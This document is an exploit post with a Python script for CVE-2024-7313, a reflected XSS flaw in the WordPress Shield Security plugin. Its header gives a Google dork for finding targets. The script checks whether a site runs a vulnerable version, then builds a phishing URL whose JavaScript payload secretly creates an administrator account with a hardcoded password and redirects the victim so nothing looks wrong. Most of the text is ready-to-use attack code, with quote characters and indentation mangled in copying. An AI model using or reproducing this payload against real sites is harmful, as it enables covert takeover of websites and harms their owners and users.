Exploit Title: CVE-2024-7313 - Reflected XSS to Unauthorised Administrator Account Creation

Google Dork: inurl:"/wp-content/plugins/wp-simple-firewall/" (Cannot find version numbers from this DORK)

Date: 16/08/2024

Exploit Author: Tim Lepp

Vendor Homepage: https://getshieldsecurity.com/

Software Link: https://wordpress.org/plugins/wp-simple-firewall/advanced/ (Version <= 20.0.5)

Version: <20.0.6

Tested on: Ubuntu

CVE : CVE-2024-7313

How It Works

• The script first checks if the target WordPress installation is using a vulnerable version of the Shield Security plugin by examining the response from the wp-login.php page.
• If the plugin version is vulnerable, it proceeds to generate a reflected XSS payload that, when executed, will create a new admin user with a hardcoded password as WordPress wont accept weak passwords without user intervention.
• The payload is created to first use a GET request to dynamically find the WordPress nonce used for account creation, then use that nonce to submit a POST request to the user creation endpoint with the details of the new user given in the script.

The payload is then URL-encoded and displayed for use in the attack.

Once sent to an administrator of the site and the link is clicked, a new Administrator user will be created on the site with the details parsed by the script. This is all done in the background, with the phished administrator being redirected to the Shield Security dashboard with no clue of the exploit in the background.

Reference
https://research.cleantalk.org/cve-2024-7313/

Found also at https://github.com/Wayne-Ker/CVE-2024-7313/tree/main

— code —

import sys
import urllib.parse
import requests
from bs4 import BeautifulSoup

Color codes for terminal output

red = ‘\033[91m’
green = ‘\033[92m’
yellow = ‘\033[93m’
blue = ‘\033[96m’
purple = ‘\033[95m’
reset = ‘\033[0m’

Banner and vulnerability information - Displayed at the start of the script

def print_banner():
print(f"""{red}
#############################################################################

______ _______ ____ ___ ____ _ _ _____ _____ _ _____

/ \ \ / | ____| | \ / _ |___ | || | |___ |___ // |___ /

| | \ \ / /| | _____ ) | | | |) | || | _____ / / |_ | | |_ \

| |___ \ V / | |__|_____/ _/| || / /| _|_____/ / ) | |) |

_| _/ |_____| |_____|_|_____| || // |____/||____/

Shield Security Plugin Vulnerability (CVE-2024-7313)

Reflected XSS in WordPress Shield Security Plugin

Versions Affected: < 20.0.6

Risk: High

Discovered by: Wayne-Kerr

Published: August 7, 2024

#############################################################################
{reset}""")

Help menu - Provides instructions when '-h’ or ‘–help’ is used

def print_help():
print(f"""{yellow}
Usage: python3 exploit.py <target_url>

Example:
python3 exploit.py http://example.com

Options:
-h, --help Show this help message and exit
{reset}""")

Format the target URL - Ensures the URL starts with “http://” or “https://”

def format_target_url(target_url):
if target_url.startswith(“http://”) or target_url.startswith(“https://”):
return target_url
else:
return f"http://{target_url}"

Check if the target is vulnerable by accessing the wp-login.php page

def check_vulnerability(target_url):
try:
response = requests.get(f"{target_url}/wp-login.php")
if response.status_code == 200:
# Try to extract version information from the response
version_info = response.text.split(“ver=”)[-1].split(“"”)[0]
version = version_info.split(“.”)
major_version = int(version[0])
minor_version = int(version[1])
patch_version = int(version[2].split(‘&’)[0])

        # Check if the version is below 20.0.6  
        if major_version < 20 or (major_version == 20 and minor_version == 0 and patch_version < 6):  
            print(f"{green}Shield Security version is vulnerable. Let's continue.{reset}")  
            return True  
        else:  
            print(f"{yellow}Version not vulnerable.{reset}")  
            return False  
    else:  
        print(f"{red}Failed to retrieve the version information.{reset}")  
        return False  
except Exception as e:  
    print(f"{red}Error occurred while checking vulnerability: {e}{reset}")  
    return False

Generate the XSS payload URL that exploits the vulnerability

def generate_xss_payload(target_url, username, email, first_name, last_name):
# Hardcoded password for the new admin account to be created
hardcoded_password = “HaxorStrongAFPassword123!!”

# The payload template for the XSS attack  
payload_template = (  
    "var xhrNonce = new XMLHttpRequest(); "  
    "xhrNonce.open('GET', '/wp-admin/user-new.php', true); "  
    "xhrNonce.onload = function() {{ "  
    "if (xhrNonce.status === 200) {{ "  
    "var nonce = xhrNonce.responseText.match(/name=\"_wpnonce_create-user\" value=\"([a-zA-Z0-9]+)\"/)[1]; "  
    "var xhr = new XMLHttpRequest(); "  
    "xhr.open('POST', '/wp-admin/user-new.php', true); "  
    "xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); "  
    "xhr.setRequestHeader('Referer', '{target}/wp-admin/user-new.php'); "  
    "xhr.setRequestHeader('Origin', '{target}'); "  
    "var params = 'action=createuser&_wpnonce_create-user=' + nonce + "  
    "'&_wp_http_referer=%2Fwp-admin%2Fuser-new.php"  
    "&user_login={username}&email={email}"  
    "&first_name={first_name}&last_name={last_name}&url=test"  
    "&pass1={password}&pass2={password}&role=administrator"  
    "&createuser=Add+New+User'; "  
    "xhr.send(params); "  
    "xhr.onload = function() {{ "  
    "if (xhr.status == 200) {{ "  
    "console.log('Admin user created successfully'); "  
    "window.location.href = '{target}/wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=overview'; "  
    "}} else {{ console.log('Error occurred: ' + xhr.statusText); }} "  
    "}}; "  
    "}} else {{ console.log('Error fetching nonce: ' + xhrNonce.statusText); }} }}; "  
    "xhrNonce.send();"  
)

# Formatting the payload with the provided details  
payload = payload_template.format(  
    target=target_url,  
    username=username,  
    email=urllib.parse.quote(email),  
    first_name=first_name,  
    last_name=last_name,  
    password=urllib.parse.quote(hardcoded_password)  
)

# URL encode the payload and generate the full URL for the XSS attack  
encoded_payload = urllib.parse.quote(f"<script>{payload}</script>")  
full_url = f"{target_url}/wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub={encoded_payload}"

return full_url

if name == "main":
try:
# Print the banner
print_banner()

    # Check for help menu flag and print help if necessary  
    if len(sys.argv) != 2 or sys.argv[1] in ['-h', '--help']:  
        print_help()  
        sys.exit(0)

    # Get the target URL from the command-line argument  
    raw_target_url = sys.argv[1]  
    target_url = format_target_url(raw_target_url)

    # Check if the target is vulnerable  
    if not check_vulnerability(target_url):  
        sys.exit(1)

    # Get user input for the new admin account details  
    username = input(f"{blue}Enter username: {reset}")  
    email = input(f"{blue}Enter email: {reset}")  
    first_name = input(f"{blue}Enter first name: {reset}")  
    last_name = input(f"{blue}Enter last name: {reset}")

    # Display the hardcoded password  
    hardcoded_password = "HaxorStrongAFPassword123!!"  
    print(f"\n{yellow}Using hardcoded password: {hardcoded_password}{reset}")

    # Generate and display the XSS payload URL  
    xss_payload_url = generate_xss_payload(target_url, username, email, first_name, last_name)  
    print(f"\n{green}Generated XSS Payload URL: {xss_payload_url}{reset}")

# Handle keyboard interruption  
except KeyboardInterrupt:  
    print(f"\n{red}Script interrupted by user.{reset}")  
    sys.exit(1)  
# Catch any other exceptions and display an error message  
except Exception as e:  
    print(f"{red}An error occurred: {e}{reset}")  
    sys.exit(1)